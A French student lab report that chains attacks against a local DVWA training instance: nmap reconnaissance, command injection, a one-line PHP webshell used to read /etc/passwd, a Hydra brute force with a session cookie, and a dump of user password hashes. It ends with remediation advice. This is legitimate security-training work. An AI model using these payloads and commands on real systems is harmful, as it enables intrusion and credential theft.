# Cahier des charges 3
**Équipe :** Kylian JELIN, Maxime GONZALVEZ, Loris CAPELLI, Valentin LANG
**Date :** 08/2025
**Cible pédagogique :** DVWA locale (`http://localhost/dvwa/`) sur WSL/Kali
**But :** enchaîner plusieurs vulnérabilités (Command Injection → File Upload → Brute‑force/Hydra → Sessions) pour démontrer une **compromission complète** et en tirer des **remédiations concrètes**.
---
## 1) Contexte & mise en place
J’ai travaillé en local (Windows 11 + WSL2 Kali). DVWA tourne derrière **Apache 2.4.63** avec **MariaDB 11.8.1**.
Je prépare mon dossier de travail et les sous‑dossiers pour les sorties/outils :
```bash
mkdir -p ~/m11-m14/{nmap,poc,screens,notes}
```
---
## 2) Recon (Nmap) — “je commence par voir ce qui écoute”
Je lance un scan rapide services/versions sur `127.0.0.1` :
```bash
nmap -sC -sV -oA ~/m11-m14/nmap/enumeration 127.0.0.1
```
**Résultat (résumé) :**
- `80/tcp` → **Apache httpd 2.4.63 (Debian)** → DVWA.
- `3306/tcp` → **MariaDB 11.8.1** (auth plugin `mysql_native_password`).
Capture (nmap) :
> Ça me confirme que l’appli est bien servie par Apache et que la base est locale. Je note les versions pour la partie remédiations.
---
## 3) Vuln 1 — Command Injection (page *exec*)
Je vais dans **Vulnerability: Command Injection** et je teste d’abord un ping légitime (127.0.0.1). Puis j’essaie une **injection simple** en suffixant une commande :
```
127.0.0.1; id
```
*Sur Low, la page renvoie la sortie de `ping` et je peux insérer `id`.*
**Impact :** exécution de commandes systèmes côté serveur (RCE).
**Idée d’exploit :** si l’upload est filtré ailleurs, je peux aussi écrire un fichier via redirections. Ici je garde la RCE comme preuve d’exécution de commandes.
---
## 4) Vuln 2 — File Upload (webshell) : “je pose un shell”
Je crée un mini webshell PHP et je l’upload via **Vulnerability: File Upload (Low)**.
```php
<?php @system($_GET['cmd']); ?>
```
Upload :
1) Je sélectionne `shell.php`.
2) DVWA me répond **“.../hackable/uploads/shell.php successfully uploaded!”**
J’appelle ensuite le shell :
```
http://localhost/dvwa/hackable/uploads/shell.php?cmd=id
```
Je vérifie aussi que je peux lire des fichiers, ex. :
```
http://localhost/dvwa/hackable/uploads/shell.php?cmd=cat+/etc/passwd
```
Captures (`id` + extrait `/etc/passwd`) :
**Impact :** exécution de commandes à la demande + lecture de fichiers → **compromission serveur web**.
---
## 5) Vuln 3 — Brute‑force / Sessions (Hydra) : “je vérifie l’auth DVWA brute force”
### 5.1 Je récupère un **cookie de session valide**
Dans DevTools → *Application → Cookies (http://localhost)*, je copie **PHPSESSID** et je fixe `security=low`.
```bash
COOKIE='PHPSESSID=3f232bd6ce212b8e6ff0c1b037aaaf9a; security=low'
```
### 5.2 Je vérifie les **réponses** avec `curl` (oracles Succès/Échec)
- **Échec attendu** (mauvais mot de passe) → doit contenir *“Username and/or password incorrect.”* :
```bash
curl -s -H "Cookie: $COOKIE" \
"http://localhost/dvwa/vulnerabilities/brute/?username=admin&password=wrong&Login=Login" \
| grep -F "Username and/or password incorrect."
```
Capture (échec) :
- **Succès** (quand le bon mot de passe est testé) → DVWA affiche *“Welcome to the password protected area”* :
```bash
curl -s -H "Cookie: $COOKIE" \
"http://localhost/dvwa/vulnerabilities/brute/?username=admin&password=password&Login=Login" \
| grep -F "Welcome to the password protected area"
```
Capture (succès) :
> **Note:** J’utilise ces deux messages comme **oracles** pour caler Hydra.
### 5.3 Je lance **Hydra** (http-get-form) avec mon cookie
Après essais/erreurs, le format qui passe le mieux chez moi :
```bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 http-get-form \
"/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:\
F=Username and/or password incorrect.:S=Welcome to the password protected area:\
H=Cookie: PHPSESSID=<TA_VALEUR>; security=low" -V -I -t 4 -f
```
- `F=` chaîne d’échec (exacte)
- `S=` chaîne de succès (exacte)
- `H=` header injecté (mon cookie de session)
**IMPORTANT (pièges que j’ai rencontrés) :**
- Si Hydra répond *“no valid optional parameter type given: F/S”*, c’est souvent un **problème de guillemets/échappement**. J’ai veillé à mettre tout le bloc du module **entre guillemets** et à ne pas casser les `:` internes.
- Le header `H=Cookie: …` doit être **après** les S/F et bien dans la même chaîne.
Capture (Hydra qui déroule ou trouve un pass) :
> **Bilan brute‑force :** avec un cookie valide et les chaînes **F/S** exactes, Hydra est capable d’identifier le bon mot de passe sur le module *brute* de DVWA (*Low*).
---
## 6) Post‑exploitation courte (DB) : “je jette aussi un œil aux comptes”
Comme la base est locale, j’ai montré une exfiltration de comptes DVWA (selon contexte autorisé) :
```bash
mysql -u dvwa -p -h 127.0.0.1 dvwa -e "SELECT user, password FROM users;"
```
Capture (hashs des utilisateurs DVWA) :
---
## 7) Chaîne d’attaque récapitulée
1. **Recon** (Nmap) → Apache + MariaDB identifiés.
2. **Command Injection** (exec) → exécution de commandes (`id`) → preuve de RCE.
3. **File Upload** → **webshell** opérationnel (`system($_GET['cmd'])`) → lecture `/etc/passwd`.
4. **Brute‑force/Hydra** → *oracles* via `curl` + cookie de session → Hydra configurée correctement (F/S/H) → découverte possible d’un mot de passe faible.
5. **Post‑exploitation** → lecture d’infos utilisateurs (hashs) côté DB (si autorisé).
---
## 8) Remédiations (pratiques et concrètes)
### Command Injection
- Ne **jamais** concaténer des entrées utilisateurs dans des appels systèmes.
- Si un appel est indispensable : **whitelist** stricte + `escapeshellcmd/escapeshellarg`, exécution via API internes plutôt que via `/bin/sh`.
### File Upload
- **Bloquer les scripts** côté serveur : pas d’exécution dans le répertoire d’upload (`/uploads` servi en **statique**), extension whitelist (`.jpg/.png`), vérif **MIME** & **magic bytes**.
- Renommer (UUID), **désactiver PHP** sur ce répertoire, déplacer en stockage hors‑webroot.
- Antivirus/ClamAV + quotas + logs & alerting.
### Brute‑force / Authentification
- **Rate‑limit** + **cooldown** + **CAPTCHA** après N échecs.
- Verrouillage de compte temporaire, notifications.
- **MFA** pour les comptes admin.
- Cookies **HttpOnly** + **Secure** + `SameSite=Lax/Strict`, rotation régulière de session.
### Base de données
- Comptes **least‑privilege**, chiffrement au repos, rotation des secrets.
- Journalisation et corrélation des accès anormaux.
### Durcissement général
- Mises à jour régulières (Apache/PHP), **CSP** stricte, `X-Content-Type-Options: nosniff`, `X-Frame-Options: DENY`.
- Segmentation réseau / supervision / détections (IDS/WAF).
Sign in with Wallet
Connect another wallet